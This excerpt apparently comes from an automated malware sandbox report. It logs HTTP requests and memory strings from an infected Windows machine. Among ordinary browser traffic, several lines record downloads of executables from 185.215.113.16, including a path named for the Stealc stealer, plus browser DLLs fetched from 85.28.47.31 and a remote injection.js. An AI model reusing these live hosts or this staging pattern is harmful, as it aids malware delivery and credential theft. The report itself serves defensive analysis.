Source: global traffic	HTTP traffic detected: GET /account HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlKHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /account HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /account HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-full-version-list: "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132", "Google Chrome";v="117.0.5938.132"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /s/googlesans/v58/4UaRrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iq2vgCI.woff2 HTTP/1.1Host: fonts.gstatic.comConnection: keep-alivesec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117"Origin: https://accounts.google.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132", "Google Chrome";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bloomfilterfiles/ExpandedDomainsFilterGlobal.json HTTP/1.1Host: www.bing.comConnection: keep-aliveCookie: ANON=; MUID=;_RwBf=;Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=2115996890&timestamp=1721981613915 HTTP/1.1Host: accounts.youtube.comConnection: keep-alivesec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-full-version-list: "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132", "Google Chrome";v="117.0.5938.132"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /chains/remote-settings.content-signature.mozilla.org-2023-10-29-15-54-12.chain HTTP/1.1Host: content-signature-2.cdn.mozilla.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brConnection: keep-aliveIf-Modified-Since: Sat, 09 Sep 2023 15:54:13 GMTIf-None-Match: "defaf397a2137227b32599694fdb5208"
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132", "Google Chrome";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /account HTTP/1.1Host: www.youtube.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brConnection: keep-aliveUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: cross-site
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AVsOOGgL4EVsLTMzZa-C0yXaDVW5z6pCjWzx7YKwHb9PR6v117H2hbsZgQ2S3VrQetSMoK86b9iY-_-8nYIxIJD4BasJl9SD8IoqvPIbEK9wBlfqTusC6rL6yTYDfaVSn9sAxlKa5bRpPaxsFjcmEK7Nec5bVL7NZYhc/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_80_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1722581862&P2=404&P3=2&P4=JTb11DAk5F9Oszx2ZD7t4rWwp2X7Vubt4472pLf9KPyjlESE8pxjdPkWyXdN2w2kCQiUmByTUNPH4C%2f3Mr5D4A%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: LX9M+99cQQGgkJSHrKyu3lSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /account HTTP/1.1Host: www.youtube.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brConnection: keep-aliveCookie: YSC=gjyAnaIPjq4; VISITOR_INFO1_LIVE=A1jsir6wrTk; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgWg%3D%3DUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1
Source: global traffic	HTTP traffic detected: GET /justforMonster/injection/main/injection.js HTTP/1.1Host: raw.githubusercontent.comAccept: /Accept-Encoding: gzip, deflateUser-Agent: Python/3.10 aiohttp/3.8.6
Source: global traffic	HTTP traffic detected: GET /tmp/2.exe HTTP/1.1Host: coe.com.vn
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /cost/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/sqlite3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/freebl3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/mozglue.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/msvcp140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/nss3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/softokn3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/vcruntime140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/enter.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /inc/build.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /inc/crypted.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: ip-api.comAccept: /Accept-Encoding: gzip, deflateUser-Agent: Python/3.10 aiohttp/3.8.6
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /inc/5447jsX.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /inc/crypteda.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /inc/25072023.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /c10a74a0c2f42c12/sqlite3.dll HTTP/1.1Host: 85.28.47.70Cache-Control: no-cache

Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: places.sqlite-wal.28.dr	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=enmoc.elgoog.stnuocca. equals www.youtube.com (Youtube)
Source: WebAssistDatabase.31.dr	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&ifkv=AdF4I74Bc0A4eS5IRRY217CgWmJMiUeLZFCNj3xJUxAZb1TEDAEb59tq_j-opR0UcxkOBfhynly36Q&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S907487432%3A1721977063310013&ddm=0 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2742790289.000001F3FF74E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742790289.000001F3FF723000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr	String found in binary or memory: https://www.youtube.com equals www.youtube.com (Youtube)
Source: places.sqlite-wal.28.dr	String found in binary or memory: https://www.youtube.com! equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2742790289.000001F3FF735000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr	String found in binary or memory: https://www.youtube.com/accountmoc.ebutuoy.www. equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2733365636.000001F3FD933000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xhttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'social-tracking-protection-facebook-digest256,social-tracking-protection-linkedin-digest256,social-tracking-protection-twitter-digest256https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/' equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000003.2497805675.000001F3FFCA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2166956297.0000027667450000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2354149245.000001C757250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account" equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2208668139.0000020E12240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2587849657.000001F3EF2F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://connect.facebook.net//sdk.js://www.google-analytics.com/gtm/js://s0.2mdn.net/instream/html5/ima3.js://imasdk.googleapis.com/js/sdkloader/ima3.js://static.adsafeprotected.com/iasPET.1.js://www.google-analytics.com/analytics.js://ssl.google-analytics.com/ga.js://libs.coremetrics.com/eluminate.js://www.googletagservices.com/tag/js/gpt.js://s.webtrends.com/js/webtrends.js://s.webtrends.com/js/webtrends.min.js://www.rva311.com/static/js/main..chunk.js://connect.facebook.net//all.js://www.googletagmanager.com/gtm.js://pagead2.googlesyndication.com/tag/js/gpt.js*://s.webtrends.com/js/advancedLinkTracking.js["https://ads-us.rd.linksynergy.com/as.php"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://securepubads.g.doubleclick.net/gampad/ad*://www.facebook.com/platform/impression.phphttps://ads.stickyadstv.com/firefox-etp--autocomplete-popup-separator-colorcolor-mix(in srgb, currentColor 9%, transparent)://track.adform.net/Serving/TrackPoint/color-mix(in srgb, currentColor 9%, transparent)://.adsafeprotected.com//unit/--panel-banner-item-info-icon-bgcolorInvalid index: not in the closed windows equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://web-assets.toggl.com/app/assets/scripts/.jsFileUtils_openAtomicFileOutputStream@mozilla.org/network/safe-file-output-stream;1resource://gre/modules/FileUtils.sys.mjs://connect.facebook.net//sdk.js*://connect.facebook.net//all.js*://auth.9c9media.ca/auth/main.jshttps://smartblock.firefox.etp/facebook.svg://cdn.branch.io/branch-latest.min.js*://static.chartbeat.com/js/chartbeat_video.js://www.rva311.com/static/js/main..chunk.js://libs.coremetrics.com/eluminate.js://static.criteo.net/js/ld/publishertag.jspictureinpicture%40mozilla.org:1.0.0://track.adform.net/serving/scripts/trackpoint/://.imgur.com/js/vendor..bundle.js://www.everestjs.net/static/st.v3.js@mozilla.org/network/atomic-file-output-stream;1://pub.doubleverify.com/signals/pub.jsFileUtils_openSafeFileOutputStreamresource://gre/modules/addons/XPIProvider.jsm@mozilla.org/addons/addon-manager-startup;1://c.amazon-adsystem.com/aax2/apstag.js://static.chartbeat.com/js/chartbeat.jswebcompat-reporter%40mozilla.org:1.5.1://.imgur.io/js/vendor..bundle.jswebcompat-reporter@mozilla.org.xpiFileUtils_closeAtomicFileOutputStreamFileUtils_closeSafeFileOutputStream@mozilla.org/network/file-output-stream;1https://smartblock.firefox.etp/play.svg://www.google-analytics.com/gtm/js://ssl.google-analytics.com/ga.js://pagead2.googlesyndication.com/tag/js/gpt.js://www.googletagservices.com/tag/js/gpt.js://www.google-analytics.com/plugins/ua/ec.js://cdn.optimizely.com/public/.js://js.maxmind.com/js/apis/geoip2//geoip2.js://s.webtrends.com/js/advancedLinkTracking.js://www.googletagmanager.com/gtm.js*://s.webtrends.com/js/webtrends.js://s0.2mdn.net/instream/html5/ima3.js://imasdk.googleapis.com/js/sdkloader/ima3.js://.vidible.tv//vidible-min.js*://s.webtrends.com/js/webtrends.min.js://static.adsafeprotected.com/iasPET.1.jsopenIDB/</request.onupgradeneeded equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: load_statistics.db-wal.31.dr	String found in binary or memory: +www.youtube.com equals www.youtube.com (Youtube)
Source: load_statistics.db-wal.31.dr	String found in binary or memory: +www.youtube.com equals www.youtube.com (Youtube)
Source: load_statistics.db-wal.31.dr	String found in binary or memory: +www.youtube.comwww.youtube.com equals www.youtube.com (Youtube)
Source: load_statistics.db-wal.31.dr	String found in binary or memory: +3www.youtube.comaccounts.google.com equals www.youtube.com (Youtube)
Source: load_statistics.db-wal.31.dr	String found in binary or memory: +Mwww.youtube.com\ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2185548634.0000027667482000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2143827481.0000027667480000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2143690714.000002766746D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ,Builtin Window Class Redirection contributorItXPUBLIC=C:\Users\PublicSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user~1\AppData\Local\TempTMP=C:\Users\user~1\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMA equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
